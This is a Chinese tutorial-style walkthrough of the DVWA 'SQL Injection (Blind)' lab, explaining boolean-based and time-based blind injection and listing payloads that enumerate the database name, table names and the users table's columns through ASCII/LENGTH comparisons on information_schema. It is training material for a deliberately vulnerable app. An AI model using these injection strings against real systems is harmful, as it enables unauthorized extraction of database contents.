SQL Injection (Blind)`

news2024/11/19 18:28:53

SQL Injection (Blind)

        SQL Injection (Blind) SQL盲注,是一种特殊类型的SQL注入攻击,它的特点是无法直接从页面上看到注入语句的执行结果。在这种情况下,需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

盲注的主要形式有两种:

        1、基于布尔的盲注(Boolean based):在某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。
        2、基于时间的盲注(Time based):又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据。

        在 SQL 盲注中,字符型注入通常更容易通过页面上的不同提示来确认注入成功,而数字型注入则可能在页面上不显示直接的区别。这是因为字符型注入可以通过构造不同的字符串来影响 SQL 语句的执行,而数字型注入可能会导致结果为真或假的不同条件,但页面上可能没有直接的可见区别。

Low

1、判断注入类型

        代码并没有对参数做过滤或者验证,且页面返回的结果有两种

if ($exists) {
    // 用户存在的处理
    $html .= '<pre>User ID exists in the database.</pre>';
} else {
    // 用户不存在的处理
    header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');
    $html .= '<pre>User ID is MISSING from the database.</pre>';
}

        首先判断注入的类型,前文已经提到过 字符型的会有不同的提示证明SQL语句被成功执行,而数字型无论SQL对错页面提示的都是相同的 证明SQL语句并没有被执行 

        

                                                                  (为字符型注入)        

 

2、判断列数 

         

        接下来判断字符段数,通过尝试不同的 ORDER BY 子句中的列数,可以逐步确定实际的列数

通过类似于:   1' ORDER BY 1#  如果查询不出错,则至少为1列

           1' ORDER BY 2#  如果查询不出错,则至少为2列

           1' ORDER BY 3#  如果查询不出错,则至少为3列

如下,则字段数为2

  

3、判断数据库名、长度

        接下来,判断数据库名长  ,  length(database()) 可以返回当前数据库名的长度,我们可以通过逻辑条件将其与一个数字进行比较,用以判断

        此处,我们已经知道数据库是DVWA,长度确实是4位

1' and  length(database())>3 #

1' and  length(database())=4 #

 1' and  length(database())>4 #

        判断数据库名称,使用二分法判断数据库的名称,  通过 ASCII(SUBSTR(DATABASE(), 1, 1))  构造逻辑语句来判断数据库名称的每一个字母的ASCII码 

 "dvwa" 的 ASCII 码如下:

  • 'd': 100
  • 'v': 118
  • 'w': 119
  • 'a': 97

1' and ascii(substr(database(),1,1))>68 #

1' and ascii(substr(database(),1,1))<127 #         

两次存在,第一个字符的ASCII值大于68,小于127 则可以确定是一个字母

1' and ascii(substr(database(),1,1))<100 # 

1' and ascii(substr(database(),1,1))>100 # 

两次都不存在,则可以确定该字符的ASCII码的值为100,对照可知 第一个字符为“ d ”

 

1' and ascii(substr(database(),X,1))  判断第2、第3、第4位时,X分别为2、3、4

重复上述步骤,则可解出完整库名(dvwa)

       

4、判断数据库中表名、表长、数量

        关于数据库dvwa中 的表的数量  可以用 下列SQL注入字符串 查询返回当前数据库中表的数量,如果数量符合,整个条件将为真。

1' and (select count (table_name) from information_schema.tables where table_schema=database() )

1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()) = 2#

如上,可知dvwa库中,有两个表

        判断表1长度:通过SQL 注入字符串 猜解表长,检查当前数据库中某个表的第一个字符的长度是否为等号后的数字 

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

.
.
.
.
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

         由下图可见,当条件为 9 的时候 整个条件为真,所以第一个表的名长度为9

        判断表2长度:通过SQL 注入字符串 猜解表长,检查当前数据库中某个表的第一个字符的长度是否为等号后的数字       LIMIT 1, 1 表示从结果集中获取第二行,即下一个表的表名。   

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1 # 
.
.
.
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #

         由下图可见,当条件为 5 的时候 整个条件为真,所以下一个表也就是第二张表名长度为5

        猜解表名,此处和前文猜数据库名方法相似,都是构造判断条件,判断字符的ASCII码的值来确定表名。

        LIMIT 0, 1 表示从结果集的第一行开始,取一行记录。后面的 ,1)SUBSTR 函数的一部分,用于截取字符串的一部分。

        所以我们判断第二个字母的时候  改动部分语句   limit 0,1),2,1))   同理判断第三个字母时为limit 0,1),3,1)) 

        根据下面的字符串,同理,重复下去可得第一个表的名字为 guestbook

#通过 下面的 SQL 注入尝试已经成功地判断了当前数据库中下一个表的第一个字符的 ASCII 值的范围
#第一个字符的 ASCII 值在97到109之间,但不包括103
#ASCII码103对应的字符是小写字母"g"
#所以第一个表的名字的第一个字符为小写字母“g"


1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

         LIMIT 1, 1), 1, 1) 用于选择 information_schema.tables 表中的第二个表名,并截取该表名的第一个字符。在 SQL 查询中,LIMIT 1, 1 是一个常见的用法,表示从结果集的第二行开始,取一行记录。而 SUBSTR(..., 1, 1) 则是用于截取字符串的子串,这里用于截取表名的第一个字符。

        还是同理可得,根据以下的注入字符串,修改参数后,重复下去可得第二表的完整表名 users

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>97 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))<122 # 显示存在


1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>97 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))<122 # 显示存在


        此时我们得到两个表的表名 :  guestbook、users

5、猜解表中字段数量、段长、段名

        判断表中的字段数量,这里我们已经知道了两表中的列数,故不再一个个尝试,用已知数直接进行判断

        构造一个逻辑条件,用于检查名为 'users' 的表是否有超过4列的列数,名为”guestbook“的表是否有超过8列的列数。

1' and (select count(column_name) from information_schema.columns where table_name= 'users')>4 # 
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 
 

        接下来的判断段长、段名的步骤与判断数据库名、库民长的步骤一致,差异只在于参数的不同,故不再赘述,

        我们以users表为例:

        

用下面的注入字符串不断重复(), 可得users表的字段长分别为7,10,9,4,8,6,10,12

#检查名为 'users' 的表的第一个列名的长度是否为1

1' AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' LIMIT 0, 1), 1)) = 1#
……

……

#检查名为 'users' 的表的第一个列名的长度是否为7
1' AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' LIMIT 0, 1), 1)) = 7#

        关于段名的判断,还是通过ASCII码的值,

检查名为 'users' 的表的第一个列名的第一个字符的 ASCII 值是否大于 97

替换参数,重复下去可得users表的第一个字段名为user_id

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>97#
…………

…………

1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))>97#
…………
…………

         

        重复判断段名的步骤最终得到users表中所有字段名user_id、first_name、last_name、user、password、avatar、last_login、failed_login

(这里太多,太麻烦了,我并没有全部验证,只验证了user_id字段)

Medium

        相较于low,medium的代码利用 mysql_real_escape_string 函数对特殊符号进行转义,包括但不限于 \x00, \n, \r, \,, ', ", 和 \x1a。、

        但是我们依然可以构造语句进行注入

High

        代码使用 cookie 来传递参数 id。如果 SQL 查询结果为空,代码将触发 sleep(seconds) 函数,用于扰乱基于时间的盲注攻击。同时,SQL 查询语句中加入了 LIMIT 1,以确保仅输出一个结果。尽管添加了 LIMIT 1,但通过使用 # 进行注释,我们仍然能够绕过该限制。受限于sleep函数的影响,基于时间的布尔盲注的准确性会受到影响。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1252366.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Leetcode】【实现循环队列】【数据结构】

代码实现&#xff1a; typedef struct {int front;int back;int k;int* a;} MyCircularQueue;bool myCircularQueueIsEmpty(MyCircularQueue* obj) {return obj->frontobj->back; }bool myCircularQueueIsFull(MyCircularQueue* obj) {return (obj->back1)%(obj->…

M2BLS

U are randomly generated&#xff0c;g is an activation function 辅助信息 作者未提供代码

网页设计作业-音乐网站首页

效果图 网盘链接 链接&#xff1a;https://pan.baidu.com/s/1CO4jAOY0zk1AWTx_pC3UmA?pwdfuck 提取码&#xff1a;fuck

【仿写C++中的move函数和forward函数】

仿写实现move函数 一、值的类型 1.左值 描述&#xff1a;能够取地址的值成为左值 int a 10; const int b 15; int *pa &a; const int *pb &b;2.纯右值 描述&#xff1a;赤裸裸的字面值 eg(false , 3 , 12.23等) int a 13; int *p &a; //取a的地址 int …

【电路笔记】-分流器

分流器 文章目录 分流器1、概述2、通用/网络配置3、无功分流器3.1 电阻电容分流器3.2 电阻-电感分流器 4、总结 我们在之前关于分压器的文中已经看到&#xff0c;分压过程是通过在串联配置中关联相同的组件来实现的。 在本文中&#xff0c;我们将重点关注电流分频器执行的电流分…

【Qt之QFileInfo】使用

描述 QFileInfo类提供了与系统无关的文件信息。 QFileInfo提供有关文件的名称和位置&#xff08;路径&#xff09;在文件系统中的信息&#xff0c;以及它的访问权限、是否为目录或符号链接等。还可以获取文件的大小和最后修改/读取时间。QFileInfo还可以用于获取关于Qt资源的信…

强化学习,快速入门与基于python实现一个简单例子(可直接运行)

文章目录 一、什么是“强化学习”二、强化学习包括的组成部分二、Q-Learning算法三、迷宫-强化学习-Q-Learning算法的实现全部代码&#xff08;复制可用&#xff09;可用状态空间检查是否超出边界epsilon 的含义更新方程 总结 一、什么是“强化学习” 本文要记录的大概内容&am…

python自动化测试——自动化基本技术原理

&#x1f4e2;专注于分享软件测试干货内容&#xff0c;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01;&#x1f4e2;交流讨论&#xff1a;欢迎加入我们一起学习&#xff01;&#x1f4e2;资源分享&#xff1a;耗时200小时精选的「软件测试」资…

【教学类-06-11】20231125(55格版)X-Y之间“除法÷题”(以1-9乘法口诀表倒推)(随机抽取和正序抽取)

图片展示 &#xff08;随机打乱排序&#xff09; 正序&#xff08;每张都一样&#xff09; 背景需求&#xff1a; 前面三篇写到了随机加法、随机减法、随机乘法&#xff0c;既然做了三套&#xff0c;怎么能不试试最后一款“除法”呢 模仿乘法版本&#xff0c;制作打乱版和正…

【手写实现一个简单版的Dubbo,深刻理解RPC框架的底层实现原理】

手写实现一个简单版的Dubbo&#xff0c;深刻理解RPC框架的底层实现原理 RPC框架简介了解Dubbo的实现原理服务暴露服务引入服务调用 手写实现一个简单版的Dubbo服务暴露ServiceBeanProxyFactory#getInvokerProtocol#exportRegistryProtocol#export 服务引入RegistryProto#referD…

3、点亮一个LED

新建工程 project—>New uVision Project LED介绍 中文名&#xff1a;发光二极管 外文名&#xff1a;Light Emitting Diode 简称&#xff1a;LED 用途&#xff1a;照明、广告灯、指引灯 电路图分析 进制的转换 生成下载文件&#xff1a; 代码 //导包 #inclu…

Keil5个性化设置及常用快捷键

Keil5个性化设置及常用快捷键 1.概述 这篇文章是Keil工具介绍的第三篇文章&#xff0c;主要介绍下Keil5优化配置&#xff0c;以及工作中常用的快捷键提高开发效率。 第一篇&#xff1a;《安装嵌入式单片机开发环境Keil5MDK以及整合C51开发环境》https://blog.csdn.net/m0_380…

leetcode刷题详解——买卖股票的最佳时机含手续费

1. 题目链接&#xff1a;714. 买卖股票的最佳时机含手续费 2. 题目描述&#xff1a; 给定一个整数数组 prices&#xff0c;其中 prices[i]表示第 i 天的股票价格 &#xff1b;整数 fee 代表了交易股票的手续费用。 你可以无限次地完成交易&#xff0c;但是你每笔交易都需要付手…

PostgreSQL 分区表插入数据及报错:子表明明存在却报不存在以及column “xxx“ does not exist 解决方法

PostgreSQL 分区表插入数据及报错&#xff1a;子表明明存在却报不存在以及column “xxx“ does not exist 解决方法 问题1. 分区表需要先创建子表在插入&#xff0c;创建子表立马插入后可能会报错子表不存在&#xff1b;解决&#xff1a; 创建子表及索引后&#xff0c;sleep10毫…

动态规划经典例题leetcode思路代码详解

目录 动态规划基础篇例题 leetcode70题.爬楼梯 leetcode746题.使用最小花费爬楼梯 leetcode198题.打家劫舍 leetcode62题.不同路径 leetcode64题.最小路径和 leetcode63题.63不同路径II 动态规划基础篇例题 这一篇的例题解答是严格按照我上一篇写的动态规划三部曲做的&…

中职组网络安全-linux渗透测试-Server2203(环境+解析)

任务环境说明&#xff1a; 服务器场景&#xff1a;Server2203&#xff08;关闭链接&#xff09; 用户名&#xff1a;hacker 密码&#xff1a;123456 1.使用渗透机对服务器信息收集&#xff0c;并将服务器中SSH服务端口号作为flag提交&#xff1b; FLAG:2232 2. 使用渗透机对…

chrome 调试之 - 给微软小冰看病(无论给小冰发送什么内容都只回复“我已经开始升级啦,期待一下吧!”)

微软 Bing 搜索推出了小冰AI智能聊天模块&#xff0c;具体启用方式是用edge或chrome浏览器打开链接 cn.bing.com 后在输入框搜索任意内容&#xff0c;待搜索结果页面加载完并稍等片刻&#xff0c;页面右侧就会出现一个躲在滚动条后面的小萝莉&#xff0c;抚摸...不&#xff0c;…

音频——S/PDIF

文章目录 BMC 编码字帧(sub-frame)格式帧(frame)格式参考S/PDIF 是 SONY 和 Philips 公司共同规定的数字信号传输规范,其实就是在 AES/EBU 上进行改动的家用版本。IEC60958 的标准规范囊括了以上两个规范。spdif 采用了双相符号编码(BMC),是将时钟信号和数据信号混合在一起…

python:傅里叶分析,傅里叶变换 FFT

使用python进行傅里叶分析&#xff0c;傅里叶变换 FFT 的一些关键概念的引入&#xff1a; 1.1.离散傅里叶变换&#xff08;DFT&#xff09; 离散傅里叶变换(discrete Fourier transform) 傅里叶分析方法是信号分析的最基本方法&#xff0c;傅里叶变换是傅里叶分析的核心&…

数据库设计规范(收藏)

本文的目的是提出针对Oracle数据库的设计规范&#xff0c;使利用Oracle数据库进行设计开发的系统严格遵守本规范的相关约定&#xff0c;建立统一规范、稳定、优化的数据模型。 参照以下原则进行数据库设计&#xff1a; 方便业务功能实现、业务功能扩展&#xff1b;方便设计开发…